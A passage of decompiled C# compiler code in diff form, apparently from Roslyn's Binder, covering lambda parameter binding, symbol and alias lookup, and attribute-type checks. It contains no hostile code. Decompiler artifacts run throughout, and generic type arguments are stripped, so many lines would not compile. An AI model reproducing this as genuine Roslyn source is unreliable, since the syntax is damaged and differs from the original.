{ + flag = true; + SimpleLambdaExpressionSyntax simpleLambdaExpressionSyntax = (SimpleLambdaExpressionSyntax)syntax; + refnessKeyword = simpleLambdaExpressionSyntax.Parameter.Identifier; + instance.Add(((SyntaxToken)(ref refnessKeyword)).ValueText); + break; + } + case SyntaxKind.ParenthesizedLambdaExpression: + { + flag = true; + ParenthesizedLambdaExpressionSyntax parenthesizedLambdaExpressionSyntax = (ParenthesizedLambdaExpressionSyntax)syntax; + TypeSyntax returnType2 = parenthesizedLambdaExpressionSyntax.ReturnType; + if (returnType2 != null) + { + (returnRefKind, returnType) = BindExplicitLambdaReturnType(returnType2, diagnostics); + } + syntaxList = parenthesizedLambdaExpressionSyntax.ParameterList.Parameters; + CheckParenthesizedLambdaParameters(syntaxList.Value, diagnostics); + break; + } + case SyntaxKind.AnonymousMethodExpression: + { + AnonymousMethodExpressionSyntax anonymousMethodExpressionSyntax = (AnonymousMethodExpressionSyntax)syntax; + MessageID.IDS_FeatureAnonDelegates.CheckFeatureAvailability(diagnostics, anonymousMethodExpressionSyntax.DelegateKeyword); + flag = anonymousMethodExpressionSyntax.ParameterList != null; + if (flag) + { + syntaxList = anonymousMethodExpressionSyntax.ParameterList.Parameters; + } + break; + } + } + bool isAsync = false; + bool isStatic = false; + bool hasParamsArray = false; + SyntaxTokenList modifiers = syntax.Modifiers; + Enumerator enumerator = ((SyntaxTokenList)(ref modifiers)).GetEnumerator(); + while (((Enumerator)(ref enumerator)).MoveNext()) + { + SyntaxToken current = ((Enumerator)(ref enumerator)).Current; + if (current.IsKind(SyntaxKind.AsyncKeyword)) + { + MessageID.IDS_FeatureAsync.CheckFeatureAvailability(diagnostics, current); + isAsync = true; + } + else if (current.IsKind(SyntaxKind.StaticKeyword)) + { + MessageID.IDS_FeatureStaticAnonymousFunction.CheckFeatureAvailability(diagnostics, current); + isStatic = true; + } + } + if (syntaxList.HasValue) + { + bool flag2 = true; + ArrayBuilder instance2 = ArrayBuilder.GetInstance(); + ArrayBuilder instance3 = ArrayBuilder.GetInstance(); + ArrayBuilder instance4 = ArrayBuilder.GetInstance(); + ArrayBuilder> instance5 = ArrayBuilder>.GetInstance(); + ArrayBuilder instance6 = ArrayBuilder.GetInstance(); + int num = 0; + int num2 = 0; + Enumerator enumerator2 = syntaxList.Value.GetEnumerator(); + while (enumerator2.MoveNext()) + { + ParameterSyntax current2 = enumerator2.Current; + num++; + if (current2.Identifier.IsUnderscoreToken()) + { + num2++; + } + checkAttributes(syntax, current2.AttributeLists, diagnostics); + bool flag3 = ((SyntaxNode?)(object)syntax).IsKind(SyntaxKind.AnonymousMethodExpression); + if (current2.Default != null) + { + if (flag3) + { + Error(diagnostics, ErrorCode.ERR_DefaultValueNotAllowed, current2.Default.EqualsToken); + } + else + { + MessageID.IDS_FeatureLambdaOptionalParameters.CheckFeatureAvailability(diagnostics, current2.Default.EqualsToken); + } + } + if (current2.IsArgList) + { + Error(diagnostics, ErrorCode.ERR_IllegalVarArgs, (CSharpSyntaxNode)current2); + continue; + } + TypeSyntax type = current2.Type; + TypeWithAnnotations typeWithAnnotations = default(TypeWithAnnotations); + RefKind val = (RefKind)0; + ScopedKind scope = (ScopedKind)0; + SyntaxToken thisKeyword; + if (type == null) + { + flag2 = false; + } + else + { + typeWithAnnotations = BindType(type, diagnostics); + ParameterHelpers.CheckParameterModifiers(current2, diagnostics, parsingFunctionPointerParams: false, !flag3, flag3); + val = ParameterHelpers.GetModifiers(current2.Modifiers, out refnessKeyword, out var paramsKeyword, out thisKeyword, out scope); + if (num == syntaxList.Value.Count && paramsKeyword.Kind() != SyntaxKind.None) + { + hasParamsArray = true; + ReportUseSiteDiagnosticForSynthesizedAttribute(Compilation, (WellKnownMember)63, diagnostics, ((SyntaxToken)(ref paramsKeyword)).GetLocation()); + } + } + thisKeyword = current2.Identifier; + instance.Add(((SyntaxToken)(ref thisKeyword)).ValueText); + instance2.Add(typeWithAnnotations); + instance3.Add(val); + instance4.Add(scope); + instance5.Add((SyntaxList)((syntax.Kind() == SyntaxKind.ParenthesizedLambdaExpression) ? current2.AttributeLists : default(SyntaxList))); + instance6.Add(current2.Default); + } + discardsOpt = computeDiscards(syntaxList.Value, num2); + if (flag2) + { + types = instance2.ToImmutable(); + } + if (ArrayBuilderExtensions.Any(instance3, (Func)((RefKind r) => (int)r > 0))) + { + refKinds = instance3.ToImmutable(); + } + if (ArrayBuilderExtensions.Any(instance4, (Func)((ScopedKind s) => (int)s > 0))) + { + declaredScopes = instance4.ToImmutable(); + } + if (ArrayBuilderExtensions.Any>(instance5, (Func, bool>)((SyntaxList a) => a.Count > 0))) + { + parameterAttributes = instance5.ToImmutable(); + } + if (ArrayBuilderExtensions.Any(instance6, (Func)((EqualsValueClauseSyntax v) => v != null))) + { + defaultValues = instance6.ToImmutable(); + } + instance2.Free(); + instance4.Free(); + instance3.Free(); + instance5.Free(); + instance6.Free(); + } + if (flag) + { + names = instance.ToImmutable(); + } + instance.Free(); + return UnboundLambda.Create(syntax, this, ((BindingDiagnosticBag)(object)diagnostics).AccumulatesDependencies, returnRefKind, returnType, parameterAttributes, refKinds, declaredScopes, types, names, discardsOpt, syntaxList, defaultValues, isAsync, isStatic, hasParamsArray); + static void checkAttributes(AnonymousFunctionExpressionSyntax anonymousFunctionExpressionSyntax, SyntaxList attributeLists, BindingDiagnosticBag diagnostics2) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + Enumerator enumerator3 = attributeLists.GetEnumerator(); + while (enumerator3.MoveNext()) + { + AttributeListSyntax current3 = enumerator3.Current; + if (anonymousFunctionExpressionSyntax.Kind() == SyntaxKind.ParenthesizedLambdaExpression) + { + MessageID.IDS_FeatureLambdaAttributes.CheckFeatureAvailability(diagnostics2, (SyntaxNode)(object)current3); + } + else + { + Error(diagnostics2, (anonymousFunctionExpressionSyntax.Kind() == SyntaxKind.SimpleLambdaExpression) ? ErrorCode.ERR_AttributesRequireParenthesizedLambdaExpression : ErrorCode.ERR_AttributesNotAllowed, (CSharpSyntaxNode)current3); + } + } + } + static ImmutableArray computeDiscards(SeparatedSyntaxList parameters, int underscoresCount) + { + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + if (underscoresCount <= 1) + { + return default(ImmutableArray); + } + ArrayBuilder instance7 = ArrayBuilder.GetInstance(parameters.Count); + Enumerator enumerator3 = parameters.GetEnumerator(); + while (enumerator3.MoveNext()) + { + ParameterSyntax current3 = enumerator3.Current; + instance7.Add(current3.Identifier.IsUnderscoreToken()); + } + return instance7.ToImmutableAndFree(); + } + } + + private (RefKind, TypeWithAnnotations) BindExplicitLambdaReturnType(TypeSyntax syntax, BindingDiagnosticBag diagnostics) + { + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_00b6: Unknown result type (might be due to invalid IL or missing references) + MessageID.IDS_FeatureLambdaReturnType.CheckFeatureAvailability(diagnostics, (SyntaxNode)(object)syntax); + syntax = syntax.SkipScoped(out var _).SkipRefInLocalOrReturn(diagnostics, out var refKind); + if (syntax is IdentifierNameSyntax { Identifier: var identifier } && ((SyntaxToken)(ref identifier)).RawContextualKind == 8490) + { + diagnostics.Add(ErrorCode.ERR_LambdaExplicitReturnTypeVar, ((SyntaxNode)syntax).Location); + } + TypeWithAnnotations item = BindType(syntax, diagnostics); + TypeSymbol type = item.Type; + if (item.IsStatic) + { + diagnostics.Add(ErrorFacts.GetStaticClassReturnCode(useWarning: false), ((SyntaxNode)syntax).Location, type); + } + else if (item.IsRestrictedType(ignoreSpanLikeTypes: true)) + { + diagnostics.Add(ErrorCode.ERR_MethodReturnCantBeRefAny, ((SyntaxNode)syntax).Location, type); + } + return (refKind, item); + } + + private static void CheckParenthesizedLambdaParameters(SeparatedSyntaxList parameterSyntaxList, BindingDiagnosticBag diagnostics) + { + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + //IL_0080: Unknown result type (might be due to invalid IL or missing references) + //IL_0085: Unknown result type (might be due to invalid IL or missing references) + if (parameterSyntaxList.Count <= 0) + { + return; + } + bool flag = parameterSyntaxList[0].Type != null; + checkForImplicitDefault(flag, parameterSyntaxList[0], diagnostics); + int i = 1; + for (int count = parameterSyntaxList.Count; i < count; i++) + { + ParameterSyntax parameterSyntax = parameterSyntaxList[i]; + SyntaxToken identifier = parameterSyntax.Identifier; + if (((SyntaxToken)(ref identifier)).IsMissing) + { + continue; + } + bool flag2 = parameterSyntax.Type != null; + if (flag != flag2) + { + object obj = parameterSyntax.Type?.GetLocation(); + if (obj == null) + { + identifier = parameterSyntax.Identifier; + obj = ((SyntaxToken)(ref identifier)).GetLocation(); + } + diagnostics.Add(ErrorCode.ERR_InconsistentLambdaParameterUsage, (Location)obj); + } + checkForImplicitDefault(flag2, parameterSyntax, diagnostics); + } + static void checkForImplicitDefault(bool hasType, ParameterSyntax param, BindingDiagnosticBag bindingDiagnosticBag) + { + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + if (!hasType && param.Default != null) + { + SyntaxToken identifier2 = param.Identifier; + Location location = ((SyntaxToken)(ref identifier2)).GetLocation(); + object[] array = new object[1]; + identifier2 = param.Identifier; + array[0] = ((SyntaxToken)(ref identifier2)).Text; + bindingDiagnosticBag.Add(ErrorCode.ERR_ImplicitlyTypedDefaultParameter, location, array); + } + } + } + + private UnboundLambda BindAnonymousFunction(AnonymousFunctionExpressionSyntax syntax, BindingDiagnosticBag diagnostics) + { + //IL_00a7: Unknown result type (might be due to invalid IL or missing references) + //IL_00b7: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_0071: Unknown result type (might be due to invalid IL or missing references) + //IL_0078: Unknown result type (might be due to invalid IL or missing references) + //IL_0085: Unknown result type (might be due to invalid IL or missing references) + //IL_008b: Unknown result type (might be due to invalid IL or missing references) + //IL_008d: Unknown result type (might be due to invalid IL or missing references) + UnboundLambda unboundLambda = AnalyzeAnonymousFunction(syntax, diagnostics); + UnboundLambdaState data = unboundLambda.Data; + if (data.HasExplicitlyTypedParameterList) + { + int num = -1; + for (int i = 0; i < unboundLambda.ParameterCount; i++) + { + ParameterSyntax parameterSyntax = unboundLambda.ParameterSyntax(i); + if (parameterSyntax.Default != null && num == -1) + { + num = i; + } + ParameterHelpers.GetModifiers(parameterSyntax.Modifiers, out var _, out var paramsKeyword, out var thisKeyword, out var _); + bool isParams = paramsKeyword.Kind() != SyntaxKind.None; + int ordinal = i; + int lastParameterIndex = unboundLambda.ParameterCount - 1; + TypeWithAnnotations typeWithAnnotations = unboundLambda.ParameterTypeWithAnnotations(i); + RefKind refKind = unboundLambda.RefKind(i); + ScopedKind? declaredScope = unboundLambda.DeclaredScope(i); + thisKeyword = default(SyntaxToken); + ParameterHelpers.ReportParameterErrors(null, parameterSyntax, ordinal, lastParameterIndex, isParams, typeWithAnnotations, refKind, declaredScope, null, thisKeyword, paramsKeyword, num, diagnostics); + } + } + syntax.Modifiers.ToDeclarationModifiers(isForTypeDeclaration: false, (DiagnosticBag)(((object)((BindingDiagnosticBag)diagnostics).DiagnosticBag) ?? ((object)new DiagnosticBag()))); + if (data.HasSignature) + { + LocalScopeBinder localScopeBinder = new LocalScopeBinder(this); + bool flag = localScopeBinder.Compilation.IsFeatureEnabled(MessageID.IDS_FeatureNameShadowingInNestedFunctions); + PooledHashSet instance = PooledHashSet.GetInstance(); + bool flag2 = false; + for (int j = 0; j < unboundLambda.ParameterCount; j++) + { + string text = unboundLambda.ParameterName(j); + if (string.IsNullOrEmpty(text)) + { + continue; + } + if (unboundLambda.ParameterIsDiscard(j)) + { + if (flag2) + { + MessageID.IDS_FeatureLambdaDiscardParameters.CheckFeatureAvailability(diagnostics, (Compilation)(object)localScopeBinder.Compilation, unboundLambda.ParameterLocation(j)); + } + flag2 = true; + } + else if (!((HashSet)(object)instance).Add(text)) + { + diagnostics.Add(ErrorCode.ERR_DuplicateParamName, unboundLambda.ParameterLocation(j), text); + } + else if (!flag) + { + localScopeBinder.ValidateLambdaParameterNameConflictsInScope(unboundLambda.ParameterLocation(j), text, diagnostics); + } + } + instance.Free(); + } + return unboundLambda; + } + + internal void LookupSymbolsSimpleName(LookupResult result, NamespaceOrTypeSymbol qualifierOpt, string plainName, int arity, ConsList basesBeingResolved, LookupOptions options, bool diagnose, ref CompoundUseSiteInfo useSiteInfo) + { + if (options.IsAttributeTypeLookup()) + { + LookupAttributeType(result, qualifierOpt, plainName, arity, basesBeingResolved, options, diagnose, ref useSiteInfo); + } + else + { + LookupSymbolsOrMembersInternal(result, qualifierOpt, plainName, arity, basesBeingResolved, options, diagnose, ref useSiteInfo); + } + } + + internal void LookupExtensionMethods(LookupResult result, string name, int arity, LookupOptions options, ref CompoundUseSiteInfo useSiteInfo) + { + ExtensionMethodScopeEnumerator enumerator = new ExtensionMethodScopes(this).GetEnumerator(); + while (enumerator.MoveNext()) + { + ExtensionMethodScope current = enumerator.Current; + LookupExtensionMethodsInSingleBinder(current, result, name, arity, options, ref useSiteInfo); + } + } + + private Binder LookupSymbolsWithFallback(LookupResult result, string name, int arity, ref CompoundUseSiteInfo useSiteInfo, ConsList basesBeingResolved = null, LookupOptions options = LookupOptions.Default) + { + Binder result2 = LookupSymbolsInternal(result, name, arity, basesBeingResolved, options, diagnose: false, ref useSiteInfo); + if (result.Kind != LookupResultKind.Viable && result.Kind != LookupResultKind.Empty) + { + result.Clear(); + LookupSymbolsInternal(result, name, arity, basesBeingResolved, options, diagnose: true, ref useSiteInfo); + } + return result2; + } + + private Binder LookupSymbolsInternal(LookupResult result, string name, int arity, ConsList basesBeingResolved, LookupOptions options, bool diagnose, ref CompoundUseSiteInfo useSiteInfo) + { + Binder binder = null; + Binder binder2 = this; + while (binder2 != null && !result.IsMultiViable) + { + if (binder != null) + { + LookupResult instance = LookupResult.GetInstance(); + binder2.LookupSymbolsInSingleBinder(instance, name, arity, basesBeingResolved, options, this, diagnose, ref useSiteInfo); + result.MergeEqual(instance); + instance.Free(); + } + else + { + binder2.LookupSymbolsInSingleBinder(result, name, arity, basesBeingResolved, options, this, diagnose, ref useSiteInfo); + if (!result.IsClear) + { + binder = binder2; + } + } + if ((options & LookupOptions.LabelsOnly) != LookupOptions.Default && binder2.IsLastBinderWithinMember()) + { + break; + } + binder2 = binder2.Next; + } + return binder; + } + + internal virtual void LookupSymbolsInSingleBinder(LookupResult result, string name, int arity, ConsList basesBeingResolved, LookupOptions options, Binder originalBinder, bool diagnose, ref CompoundUseSiteInfo useSiteInfo) + { + } + + private void LookupSymbolsOrMembersInternal(LookupResult result, NamespaceOrTypeSymbol qualifierOpt, string name, int arity, ConsList basesBeingResolved, LookupOptions options, bool diagnose, ref CompoundUseSiteInfo useSiteInfo) + { + if ((object)qualifierOpt == null) + { + LookupSymbolsInternal(result, name, arity, basesBeingResolved, options, diagnose, ref useSiteInfo); + } + else + { + LookupMembersInternal(result, qualifierOpt, name, arity, basesBeingResolved, options, this, diagnose, ref useSiteInfo); + } + } + + private void LookupMembersWithFallback(LookupResult result, NamespaceOrTypeSymbol nsOrType, string name, int arity, ref CompoundUseSiteInfo useSiteInfo, ConsList basesBeingResolved = null, LookupOptions options = LookupOptions.Default) + { + LookupMembersInternal(result, nsOrType, name, arity, basesBeingResolved, options, this, diagnose: false, ref useSiteInfo); + if (!result.IsMultiViable && !result.IsClear) + { + result.Clear(); + LookupMembersInternal(result, nsOrType, name, arity, basesBeingResolved, options, this, diagnose: true, ref useSiteInfo); + } + } + + protected void LookupMembersInternal(LookupResult result, NamespaceOrTypeSymbol nsOrType, string name, int arity, ConsList basesBeingResolved, LookupOptions options, Binder originalBinder, bool diagnose, ref CompoundUseSiteInfo useSiteInfo) + { + if (nsOrType.IsNamespace) + { + LookupMembersInNamespace(result, (NamespaceSymbol)nsOrType, name, arity, options, originalBinder, diagnose, ref useSiteInfo); + } + else + { + LookupMembersInType(result, (TypeSymbol)nsOrType, name, arity, basesBeingResolved, options, originalBinder, diagnose, ref useSiteInfo); + } + } + + protected void LookupMembersInType(LookupResult result, TypeSymbol type, string name, int arity, ConsList basesBeingResolved, LookupOptions options, Binder originalBinder, bool diagnose, ref CompoundUseSiteInfo useSiteInfo) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Expected I4, but got Unknown + //IL_00b6: Unknown result type (might be due to invalid IL or missing references) + TypeKind typeKind = type.TypeKind; + switch ((int)typeKind) + { + case 11: + LookupMembersInTypeParameter(result, (TypeParameterSymbol)type, name, arity, basesBeingResolved, options, originalBinder, diagnose, ref useSiteInfo); + break; + case 7: + LookupMembersInInterface(result, (NamedTypeSymbol)type, name, arity, basesBeingResolved, options, originalBinder, diagnose, ref useSiteInfo); + break; + case 1: + case 2: + case 3: + case 4: + case 5: + case 10: + case 12: + LookupMembersInClass(result, type, name, arity, basesBeingResolved, options, originalBinder, diagnose, ref useSiteInfo); + break; + case 6: + LookupMembersInErrorType(result, (ErrorTypeSymbol)type, name, arity, basesBeingResolved, options, originalBinder, diagnose, ref useSiteInfo); + break; + case 9: + case 13: + result.Clear(); + break; + default: + throw ExceptionUtilities.UnexpectedValue((object)type.TypeKind); + } + } + + private void LookupMembersInErrorType(LookupResult result, ErrorTypeSymbol errorType, string name, int arity, ConsList basesBeingResolved, LookupOptions options, Binder originalBinder, bool diagnose, ref CompoundUseSiteInfo useSiteInfo) + { + if (!errorType.CandidateSymbols.IsDefault && errorType.CandidateSymbols.Length == 1 && errorType.ResultKind == LookupResultKind.Inaccessible && errorType.CandidateSymbols.First() is TypeSymbol type) + { + LookupMembersInType(result, type, name, arity, basesBeingResolved, options, originalBinder, diagnose, ref useSiteInfo); + } + else + { + result.Clear(); + } + } + + protected void LookupMembersInSubmissions(LookupResult result, TypeSymbol submissionClass, CompilationUnitSyntax declarationSyntax, bool inUsings, string name, int arity, ConsList basesBeingResolved, LookupOptions options, Binder originalBinder, bool diagnose, ref CompoundUseSiteInfo useSiteInfo) + { + //IL_01f9: Unknown result type (might be due to invalid IL or missing references) + //IL_0200: Unknown result type (might be due to invalid IL or missing references) + //IL_00f9: Unknown result type (might be due to invalid IL or missing references) + //IL_0100: Invalid comparison between Unknown and I4 + //IL_01d4: Unknown result type (might be due to invalid IL or missing references) + LookupResult instance = LookupResult.GetInstance(); + LookupResult instance2 = LookupResult.GetInstance(); + SymbolKind? val = null; + bool flag = Compilation.IsSubmissionSyntaxTree(declarationSyntax.SyntaxTree); + for (CSharpCompilation cSharpCompilation = Compilation; cSharpCompilation != null; cSharpCompilation = cSharpCompilation.PreviousSubmission) + { + instance.Clear(); + bool flag2 = cSharpCompilation == Compilation; + bool flag3 = !(flag2 && inUsings); + Imports imports = ((!flag3) ? Imports.Empty : (flag ? cSharpCompilation.GetSubmissionImports() : ((!flag2) ? Imports.Empty : ((SourceNamespaceSymbol)Compilation.SourceModule.GlobalNamespace).GetImports(declarationSyntax, basesBeingResolved)))); + if ((options & LookupOptions.NamespaceAliasesOnly) == 0 && (object)cSharpCompilation.ScriptClass != null) + { + LookupMembersWithoutInheritance(instance, cSharpCompilation.ScriptClass, name, arity, options, originalBinder, submissionClass, diagnose, ref useSiteInfo, basesBeingResolved); + if (instance.IsMultiViable && flag3 && IsUsingAlias(imports.UsingAliases, name, originalBinder.IsSemanticModelBinder)) + { + Symbol symbol = instance.Symbols.First(); + if ((int)symbol.Kind != 11 || arity == 0) + { + CSDiagnosticInfo errorInfo = new CSDiagnosticInfo(ErrorCode.ERR_ConflictingAliasAndDefinition, name, symbol.GetKindText()); + ExtendedErrorTypeSymbol symbol2 = new ExtendedErrorTypeSymbol((NamespaceOrTypeSymbol?)null, name, arity, (DiagnosticInfo?)(object)errorInfo, true, false); + result.SetFrom(LookupResult.Good(symbol2)); + break; + } + } + } + if (!instance.IsMultiViable && flag3) + { + if (!flag2) + { + imports = Imports.ExpandPreviousSubmissionImports(imports, Compilation); + } + LookupSymbolInAliases(imports.UsingAliases, imports.ExternAliases, originalBinder, instance, name, arity, basesBeingResolved, options, diagnose, ref useSiteInfo); + } + if (!val.HasValue) + { + if (!instance.IsMultiViable) + { + instance2.MergePrioritized(instance); + } + else + { + result.MergeEqual(instance); + Symbol symbol3 = instance.Symbols.First(); + if (!IsMethodOrIndexer(symbol3)) + { + break; + } + options &= ~(LookupOptions.NamespacesOrTypesOnly | LookupOptions.MustBeInvocableIfMember); + val = symbol3.Kind; + } + } + else + { + if (instance.Symbols.Count > 0 && instance.Symbols.First().Kind != val.Value) + { + break; + } + if (instance.IsMultiViable) + { + result.MergeEqual(instance); + } + } + } + if (result.Symbols.Count == 0) + { + result.SetFrom(instance2); + } + instance.Free(); + instance2.Free(); + } + + protected bool IsUsingAlias(ImmutableDictionary usingAliases, string name, bool callerIsSemanticModel) + { + if (usingAliases.TryGetValue(name, out var value)) + { + MarkImportDirective(value.UsingDirectiveReference, callerIsSemanticModel); + return true; + } + return false; + } + + protected void MarkImportDirective(SyntaxReference directive, bool callerIsSemanticModel) + { + if (directive != null && !callerIsSemanticModel) + { + ((Compilation)Compilation).MarkImportDirectiveAsUsed(directive); + } + } + + protected void LookupSymbolInAliases(ImmutableDictionary usingAliases, ImmutableArray externAliases, Binder originalBinder, LookupResult result, string name, int arity, ConsList basesBeingResolved, LookupOptions options, bool diagnose, ref CompoundUseSiteInfo useSiteInfo) + { + bool isSemanticModelBinder = originalBinder.IsSemanticModelBinder; + if (usingAliases.TryGetValue(name, out var value)) + { + SingleLookupResult result2 = originalBinder.CheckViability(value.Alias, arity, options, null, diagnose, ref useSiteInfo, basesBeingResolved); + if (result2.Kind == LookupResultKind.Viable) + { + MarkImportDirective(value.UsingDirectiveReference, isSemanticModelBinder); + } + result.MergeEqual(result2); + } + ImmutableArray.Enumerator enumerator = externAliases.GetEnumerator(); + while (enumerator.MoveNext()) + { + AliasAndExternAliasDirective current = enumerator.Current; + if (!current.SkipInLookup && current.Alias.Name == name) + { + SingleLookupResult result3 = originalBinder.CheckViability(current.Alias, arity, options, null, diagnose, ref useSiteInfo, basesBeingResolved); + if (result3.Kind == LookupResultKind.Viable) + { + MarkImportDirective(current.ExternAliasDirectiveReference, isSemanticModelBinder); + } + result.MergeEqual(result3); + } + } + } + + private static void LookupMembersInNamespace(LookupResult result, NamespaceSymbol ns, string name, int arity, LookupOptions options, Binder originalBinder, bool diagnose, ref CompoundUseSiteInfo useSiteInfo) + { + ImmutableArray.Enumerator enumerator = GetCandidateMembers(ns, name, options, originalBinder).GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + SingleLookupResult result2 = originalBinder.CheckViability(current, arity, options, null, diagnose, ref useSiteInfo); + result.MergeEqual(result2); + } + } + + private void LookupExtensionMethodsInSingleBinder(ExtensionMethodScope scope, LookupResult result, string name, int arity, LookupOptions options, ref CompoundUseSiteInfo useSiteInfo) + { + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + ArrayBuilder instance = ArrayBuilder.GetInstance(); + scope.Binder.GetCandidateExtensionMethods(instance, name, arity, options, this); + Enumerator enumerator = instance.GetEnumerator(); + while (enumerator.MoveNext()) + { + MethodSymbol current = enumerator.Current; + SingleLookupResult result2 = CheckViability(current, arity, options, null, diagnose: true, ref useSiteInfo); + result.MergeEqual(result2); + } + instance.Free(); + } + + private void LookupAttributeType(LookupResult result, NamespaceOrTypeSymbol qualifierOpt, string name, int arity, ConsList basesBeingResolved, LookupOptions options, bool diagnose, ref CompoundUseSiteInfo useSiteInfo) + { + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + LookupSymbolsOrMembersInternal(result, qualifierOpt, name, arity, basesBeingResolved, options, diagnose, ref useSiteInfo); + CompoundUseSiteInfo attributeTypeViabilityUseSiteInfo = default(CompoundUseSiteInfo); + attributeTypeViabilityUseSiteInfo._002Ector(useSiteInfo); + Symbol symbol; + bool flag = IsSingleViableAttributeType(result, out symbol, ref attributeTypeViabilityUseSiteInfo); + LookupResult lookupResult = null; + Symbol symbol2 = null; + CompoundUseSiteInfo attributeTypeViabilityUseSiteInfo2 = default(CompoundUseSiteInfo); + attributeTypeViabilityUseSiteInfo2._002Ector(useSiteInfo); + bool flag2 = false; + if (!options.IsVerbatimNameAttributeTypeLookup()) + { + lookupResult = LookupResult.GetInstance(); + LookupSymbolsOrMembersInternal(lookupResult, qualifierOpt, name + "Attribute", arity, basesBeingResolved, options, diagnose, ref useSiteInfo); + flag2 = IsSingleViableAttributeType(lookupResult, out symbol2, ref attributeTypeViabilityUseSiteInfo2); + } + if (flag && flag2) + { + result.MergeEqual(lookupResult); + } + else if (flag) + { + useSiteInfo.MergeAndClear(ref attributeTypeViabilityUseSiteInfo); + } + else if (flag2) + { + result.SetFrom(lookupResult); + useSiteInfo.MergeAndClear(ref attributeTypeViabilityUseSiteInfo2); + } + else + { + if (!result.IsClear && (object)symbol != null) + { + result.SetFrom(GenerateNonViableAttributeTypeResult(symbol, result.Error, diagnose)); + } + if (lookupResult != null) + { + if (!lookupResult.IsClear && (object)symbol2 != null) + { + lookupResult.SetFrom(GenerateNonViableAttributeTypeResult(symbol2, lookupResult.Error, diagnose)); + } + result.MergePrioritized(lookupResult); + } + } + lookupResult?.Free(); + } + + private bool IsAmbiguousResult(LookupResult result, out Symbol resultSymbol) + { + resultSymbol = null; + ArrayBuilder symbols = result.Symbols; + switch (symbols.Count) + { + case 0: + return false; + case 1: + resultSymbol = symbols[0]; + return false; + default: + resultSymbol = ResolveMultipleSymbolsInAttributeTypeLookup(symbols); + return (object)resultSymbol == null; + } + } + + private Symbol ResolveMultipleSymbolsInAttributeTypeLookup(ArrayBuilder symbols) + { + ImmutableArray immutableArray = symbols.ToImmutable(); + for (int i = 0; i < symbols.Count; i++) + { + symbols[i] = UnwrapAliasNoDiagnostics(symbols[i]); + } + BestSymbolInfo secondBest; + BestSymbolInfo bestSymbolInfo = GetBestSymbolInfo(symbols, out secondBest); + if (bestSymbolInfo.IsFromCompilation && !secondBest.IsFromCompilation) + { + Symbol x = symbols[bestSymbolInfo.Index]; + Symbol y = symbols[secondBest.Index]; + if (NameAndArityMatchRecursively(x, y)) + { + return immutableArray[bestSymbolInfo.Index]; + } + } + return null; + } + + private static bool NameAndArityMatchRecursively(Symbol x, Symbol y) + { + while (true) + { + if (isRoot(x)) + { + return isRoot(y); + } + if (isRoot(y)) + { + return false; + } + if (x.Name != y.Name || x.GetArity() != y.GetArity()) + { + break; + } + x = x.ContainingSymbol; + y = y.ContainingSymbol; + } + return false; + static bool isRoot(Symbol symbol) + { + if ((object)symbol != null) + { + if (symbol is NamespaceSymbol namespaceSymbol) + { + return namespaceSymbol.IsGlobalNamespace; + } + return false; + } + return true; + } + } + + private bool IsSingleViableAttributeType(LookupResult result, out Symbol symbol, ref CompoundUseSiteInfo attributeTypeViabilityUseSiteInfo) + { + if (IsAmbiguousResult(result, out symbol)) + { + return false; + } + if (result == null || result.Kind != LookupResultKind.Viable || (object)symbol == null) + { + return false; + } + DiagnosticInfo diagInfo = null; + return CheckAttributeTypeViability(UnwrapAliasNoDiagnostics(symbol), diagnose: false, ref diagInfo, ref attributeTypeViabilityUseSiteInfo); + } + + private SingleLookupResult GenerateNonViableAttributeTypeResult(Symbol symbol, DiagnosticInfo diagInfo, bool diagnose) + { + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + symbol = UnwrapAliasNoDiagnostics(symbol); + CompoundUseSiteInfo attributeTypeViabilityUseSiteInfo = CompoundUseSiteInfo.Discarded; + CheckAttributeTypeViability(symbol, diagnose, ref diagInfo, ref attributeTypeViabilityUseSiteInfo); + return LookupResult.NotAnAttributeType(symbol, diagInfo); + } + + private bool CheckAttributeTypeViability(Symbol symbol, bool diagnose, ref DiagnosticInfo diagInfo, ref CompoundUseSiteInfo attributeTypeViabilityUseSiteInfo) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Invalid comparison between Unknown and I4 + //IL_004f: Unknown result type (might be due to invalid IL or missing references) + //IL_0054: Unknown result type (might be due to invalid IL or missing references) + //IL_0059: Unknown result type (might be due to invalid IL or missing references) + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + //IL_009a: Unknown result type (might be due to invalid IL or missing references) + //IL_00a0: Invalid comparison between Unknown and I4 + if ((int)symbol.Kind == 11) + { + NamedTypeSymbol namedTypeSymbol = (NamedTypeSymbol)symbol; + if (namedTypeSymbol.IsAbstract) + { + diagInfo = (DiagnosticInfo)(object)(diagnose ? new CSDiagnosticInfo(ErrorCode.ERR_AbstractAttributeClass, symbol) : null); + return false; + } + CompoundUseSiteInfo useSiteInfo = ((attributeTypeViabilityUseSiteInfo.AccumulatesDependencies || !diagnose) ? new CompoundUseSiteInfo(attributeTypeViabilityUseSiteInfo) : CompoundUseSiteInfo.DiscardedDependencies); + if (Compilation.IsEqualOrDerivedFromWellKnownClass(namedTypeSymbol, (WellKnownType)49, ref 